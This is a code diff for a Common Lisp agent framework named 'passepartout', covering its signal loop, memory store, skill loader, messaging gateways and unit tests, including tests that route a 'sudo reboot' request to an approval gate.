||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (equal candidate result))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (equal candidate result))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*backend-registry*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
@@ -24,15 +24,15 @@
|
||||
(return nil))
|
||||
|
||||
(handler-case
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(error (c)
|
||||
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
|
||||
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
|
||||
@@ -45,7 +45,11 @@
|
||||
(list :type :EVENT :depth (1+ depth) :meta meta
|
||||
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
|
||||
|
||||
(defun process-signal (signal)
|
||||
(loop-process signal))
|
||||
|
||||
(defvar *memory-auto-save-interval* 300)
|
||||
|
||||
(defvar *heartbeat-save-counter* 0)
|
||||
|
||||
(defun heartbeat-start ()
|
||||
@@ -64,8 +68,8 @@
|
||||
(when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
(save-memory-to-disk))
|
||||
(inject-stimulus
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "passepartout-heartbeat"))))
|
||||
|
||||
(defvar *shutdown-save-enabled* t)
|
||||
@@ -84,8 +88,8 @@
|
||||
(format t "==================================================~%")
|
||||
(handler-case
|
||||
(progn
|
||||
(when (fboundp 'doctor-run-all)
|
||||
(let ((result (doctor-run-all :auto-install nil)))
|
||||
(when (fboundp 'diagnostics-run-all)
|
||||
(let ((result (diagnostics-run-all :auto-install nil)))
|
||||
(setf *health-check-ran* t)
|
||||
(if result
|
||||
(progn
|
||||
@@ -94,10 +98,10 @@
|
||||
(progn
|
||||
(setf *system-health* :degraded)
|
||||
(format t "DAEMON: Health check found issues.~%")
|
||||
(format t " Run 'passepartout doctor --fix' to repair.~%")))))
|
||||
(format t " Run 'passepartout diagnostics' to repair.~%")))))
|
||||
(setf *health-check-ran* t))
|
||||
(error (c)
|
||||
(format t "DOCTOR ERROR: ~a~%" c)
|
||||
(format t "DIAGNOSTICS ERROR: ~a~%" c)
|
||||
(setf *system-health* :unhealthy)
|
||||
(setf *health-check-ran* t)))
|
||||
(format t "==================================================~%~%"))
|
||||
@@ -110,10 +114,10 @@
|
||||
(cl-dotenv:load-env env-file)))
|
||||
|
||||
(load-memory-from-disk)
|
||||
(initialize-actuators)
|
||||
(initialize-all-skills)
|
||||
(actuator-initialize)
|
||||
(skill-initialize-all)
|
||||
|
||||
;; Run proactive doctor before starting services
|
||||
;; Run proactive diagnostics before starting services
|
||||
(diagnostics-startup-run)
|
||||
|
||||
(heartbeat-start)
|
||||
@@ -148,8 +152,8 @@
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Verify that a crash in think/decide triggers a :loop-error stimulus."
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
@@ -158,3 +162,18 @@
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (passepartout:context-get-system-logs 20)))
|
||||
(is (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *memory-store* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *memory-history* (make-hash-table :test 'equal)
|
||||
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
|
||||
|
||||
@@ -23,7 +24,7 @@
|
||||
(concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid)))))
|
||||
|
||||
(defstruct memory-object
|
||||
id type attributes content vector parent-id children version last-sync hash)
|
||||
id type attributes content vector parent-id children version last-sync hash scope)
|
||||
|
||||
(defmethod make-load-form ((obj memory-object) &optional env)
|
||||
(make-load-form-saving-slots obj :environment env))
|
||||
@@ -39,7 +40,8 @@
|
||||
:children (copy-list (memory-object-children obj))
|
||||
:version (memory-object-version obj)
|
||||
:last-sync (memory-object-last-sync obj)
|
||||
:hash (memory-object-hash obj)))
|
||||
:hash (memory-object-hash obj)
|
||||
:scope (memory-object-scope obj)))
|
||||
|
||||
(defun memory-merkle-hash (id type attributes content child-hashes)
|
||||
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
|
||||
@@ -52,7 +54,7 @@
|
||||
(ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
|
||||
(ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
|
||||
|
||||
(defun ingest-ast (ast &optional parent-id)
|
||||
(defun ingest-ast (ast &key parent-id (scope :memex))
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
|
||||
@@ -62,7 +64,7 @@
|
||||
(child-ids nil) (child-hashes nil))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(let ((child-id (ingest-ast child id)))
|
||||
(let ((child-id (ingest-ast child :parent-id id :scope scope)))
|
||||
(push child-id child-ids)
|
||||
(let ((child-obj (gethash child-id *memory-store*)))
|
||||
(when child-obj (push (memory-object-hash child-obj) child-hashes))))))
|
||||
@@ -75,9 +77,16 @@
|
||||
:id id :type type :attributes props :content raw-content
|
||||
:parent-id parent-id :children child-ids
|
||||
:version (get-universal-time) :last-sync (get-universal-time)
|
||||
:hash hash))))
|
||||
:hash hash :scope scope))))
|
||||
(unless existing-obj (setf (gethash hash *memory-history*) obj))
|
||||
(setf (gethash id *memory-store*) obj)
|
||||
;; Populate embedding vector for new objects
|
||||
(when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
|
||||
(handler-case
|
||||
(setf (memory-object-vector obj)
|
||||
(embeddings-compute raw-content))
|
||||
(error (c)
|
||||
(log-message "INGEST: Embedding deferred: ~a" c))))
|
||||
id)))
|
||||
|
||||
(defvar *memory-snapshots* nil)
|
||||
@@ -155,6 +164,7 @@
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
@@ -162,3 +172,42 @@
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
@@ -23,6 +23,10 @@
|
||||
|
||||
(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
|
||||
|
||||
;; Alias: find-triggered-skill → skill-triggered-find
|
||||
(defun find-triggered-skill (context)
|
||||
(skill-triggered-find context))
|
||||
|
||||
(defun skill-triggered-find (context)
|
||||
"Returns the highest priority skill whose trigger matches context."
|
||||
(let ((triggered nil))
|
||||
@@ -31,7 +35,7 @@
|
||||
(when (and (skill-probabilistic-prompt skill)
|
||||
(ignore-errors (funcall (skill-trigger-fn skill) context)))
|
||||
(push skill triggered)))
|
||||
*skill-registry*)
|
||||
*skill-registry*)
|
||||
(first (sort triggered #'> :key #'skill-priority))))
|
||||
|
||||
(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic system-prompt-augment)
|
||||
@@ -82,16 +86,19 @@
|
||||
(all-files (append org-files lisp-files))
|
||||
(files (remove-if (lambda (f)
|
||||
(let ((n (pathname-name f)))
|
||||
(or (string= n "core-defpackage")
|
||||
(string= n "core-skills")
|
||||
(string= n "core-communication")
|
||||
(string= n "core-memory")
|
||||
(string= n "core-context")
|
||||
(string= n "core-loop-perceive")
|
||||
(string= n "core-loop-reason")
|
||||
(string= n "core-loop-act")
|
||||
(string= n "core-loop")
|
||||
(string= n "core-manifest"))))
|
||||
(or (string= n "core-defpackage")
|
||||
(string= n "core-skills")
|
||||
(string= n "core-communication")
|
||||
(string= n "core-memory")
|
||||
(string= n "core-context")
|
||||
(string= n "core-loop-perceive")
|
||||
(string= n "core-loop-reason")
|
||||
(string= n "core-loop-act")
|
||||
(string= n "core-loop")
|
||||
(string= n "core-manifest")
|
||||
(string= n "system-model-router")
|
||||
(string= n "system-model-explorer")
|
||||
(string= n "gateway-tui"))))
|
||||
all-files))
|
||||
(adj (make-hash-table :test 'equal))
|
||||
(name-to-file (make-hash-table :test 'equal))
|
||||
@@ -146,13 +153,15 @@
|
||||
(error (c) (values nil (format nil "~a" c)))))
|
||||
|
||||
(defun skill-package-forms-strip (code-string)
|
||||
"Removes in-package forms so symbols get defined in skill package."
|
||||
"Removes (in-package :passepartout) forms only — preserves test-package
|
||||
declarations so embedded test code evaluates in the correct package."
|
||||
(let ((lines (uiop:split-string code-string :separator '(#\Newline)))
|
||||
(result ""))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(unless (uiop:string-prefix-p "(in-package" trimmed)
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
(if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
|
||||
(setf result (concatenate 'string result (string #\Newline)))
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
result))
|
||||
|
||||
(defun tangle-target-extract (line)
|
||||
@@ -200,26 +209,21 @@
|
||||
(log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(eval (read-from-string (format nil "(progn ~a)" lisp-code))))
|
||||
|
||||
(let* ((target-pkg (find-package :passepartout))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(log-message "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DIAGNOSTICS-MAIN")
|
||||
(string-equal sn "DIAGNOSTICS-RUN-ALL")
|
||||
(string-equal sn "SETUP-WIZARD-RUN"))
|
||||
(log-message "LOADER: Exporting ~a to :PASSEPARTOUT" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg)))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
|
||||
(setf (skill-entry-status entry) :ready)))
|
||||
t)
|
||||
@@ -245,26 +249,21 @@
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
do (handler-case (eval form)
|
||||
(error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
|
||||
(let* ((target-pkg (find-package :passepartout))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(log-message "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DIAGNOSTICS-MAIN")
|
||||
(string-equal sn "DIAGNOSTICS-RUN-ALL")
|
||||
(string-equal sn "SETUP-WIZARD-RUN"))
|
||||
(log-message "LOADER: Exporting ~a to :PASSEPARTOUT" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(ignore-errors (export sym target-pkg))))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
(setf (skill-entry-status entry) :ready))
|
||||
(error (c)
|
||||
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
@@ -282,3 +281,38 @@
|
||||
(load-skill-from-lisp file)
|
||||
(load-skill-from-org file)))
|
||||
(log-message "LOADER: Boot Complete."))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun gateway-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(inject-stimulus (list :type :EVENT
|
||||
@@ -8,3 +10,26 @@
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-gateway-cli-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:cli-suite))
|
||||
|
||||
(in-package :passepartout-gateway-cli-tests)
|
||||
|
||||
(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
|
||||
(fiveam:in-suite cli-suite)
|
||||
|
||||
(fiveam:test test-gateway-cli-input-format
|
||||
"Contract 1: gateway-cli-input injects a properly formed signal without error."
|
||||
(handler-case
|
||||
(progn (gateway-cli-input "hello") (fiveam:pass))
|
||||
(error (c)
|
||||
(fiveam:fail "gateway-cli-input crashed: ~a" c))))
|
||||
|
||||
(handler-case
|
||||
(progn (gateway-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
(defun gateway-llm-request (&key prompt system-prompt (provider :ollama) model)
|
||||
"Central dispatcher for LLM requests."
|
||||
(let ((backend (gethash provider *probabilistic-backends*)))
|
||||
(if backend
|
||||
(handler-case
|
||||
(funcall backend prompt system-prompt :model model)
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))
|
||||
(list :status :error :message (format nil "Provider ~a not registered" provider)))))
|
||||
|
||||
(defskill :passepartout-gateway-llm
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (getf ctx :user-input))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM Gateway skill")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-llm-gateway-timeout
|
||||
"Tier 2 Chaos: Verify that LLM Gateway handles connection failures gracefully."
|
||||
(let ((old-host (uiop:getenv "OLLAMA_HOST")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "OLLAMA_HOST") "localhost:1")
|
||||
(let ((fn (or (find-symbol "EXECUTE-LLM-REQUEST" :passepartout.gateway-llm)
|
||||
(find-symbol "EXECUTE-LLM-REQUEST" :passepartout))))
|
||||
(if fn
|
||||
(let ((result (funcall fn :prompt "hello" :provider :ollama)))
|
||||
(fiveam:is (eq (getf result :status) :error))
|
||||
(fiveam:is (uiop:string-prefix-p "Ollama Failure" (getf result :message))))
|
||||
(fiveam:fail "Could not find EXECUTE-LLM-REQUEST symbol"))))
|
||||
(if old-host
|
||||
(setf (uiop:getenv "OLLAMA_HOST") old-host)
|
||||
(sb-posix:unsetenv "OLLAMA_HOST")))))
|
||||
@@ -1,8 +1,10 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *gateway-configs* (make-hash-table :test 'equal)
|
||||
"Maps platform name → plist (:token :thread :interval :enabled)")
|
||||
"Maps platform name to plist (:token :thread :interval :enabled)")
|
||||
|
||||
(defvar *gateway-registry* (make-hash-table :test 'equal)
|
||||
"Maps platform name → plist (:poll-fn :send-fn :default-interval)")
|
||||
"Maps platform name to plist (:poll-fn :send-fn :default-interval)")
|
||||
|
||||
(defun telegram-get-token ()
|
||||
(vault-get-secret :telegram))
|
||||
@@ -27,11 +29,12 @@
|
||||
(setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
|
||||
(when (and text chat-id)
|
||||
(log-message "TELEGRAM: Received message from ~a" chat-id)
|
||||
(inject-stimulus
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text)))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c))))))
|
||||
(unless (ignore-errors (hitl-handle-message text :telegram))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
|
||||
|
||||
(defun telegram-send (action context)
|
||||
"Sends a message via Telegram."
|
||||
@@ -42,7 +45,6 @@
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (telegram-get-token)))
|
||||
(when (and token chat-id text)
|
||||
(log-message "TELEGRAM: Sending message to ~a..." chat-id)
|
||||
(handler-case
|
||||
(let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
|
||||
(dex:post url
|
||||
@@ -61,7 +63,7 @@
|
||||
(handler-case
|
||||
(let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
|
||||
:output :string :error-output :string :ignore-error-status t))
|
||||
(lines (cl-ppcre:split "\\n" output)))
|
||||
(lines (cl-ppcre:split "\\\\n" output)))
|
||||
(dolist (line lines)
|
||||
(when (and line (> (length line) 0))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
|
||||
@@ -71,10 +73,11 @@
|
||||
(text (cdr (assoc :message data-message))))
|
||||
(when (and source text)
|
||||
(log-message "SIGNAL: Received message from ~a" source)
|
||||
(inject-stimulus
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(unless (ignore-errors (hitl-handle-message text :signal))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text)))))))))
|
||||
(error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
|
||||
|
||||
(defun signal-send (action context)
|
||||
@@ -86,7 +89,6 @@
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(account (signal-get-account)))
|
||||
(when (and account chat-id text)
|
||||
(log-message "SIGNAL: Sending message to ~a..." chat-id)
|
||||
(handler-case
|
||||
(uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
|
||||
:output :string :error-output :string)
|
||||
@@ -97,11 +99,13 @@
|
||||
(setf (gethash "telegram" *gateway-registry*)
|
||||
(list :poll-fn #'telegram-poll
|
||||
:send-fn #'telegram-send
|
||||
:default-interval 3))
|
||||
:default-interval 3
|
||||
:configured nil))
|
||||
(setf (gethash "signal" *gateway-registry*)
|
||||
(list :poll-fn #'signal-poll
|
||||
:send-fn #'signal-send
|
||||
:default-interval 5)))
|
||||
:default-interval 5
|
||||
:configured nil)))
|
||||
|
||||
(defun gateway-configured-p (platform)
|
||||
"Returns T if a platform has a stored token."
|
||||
@@ -115,7 +119,7 @@
|
||||
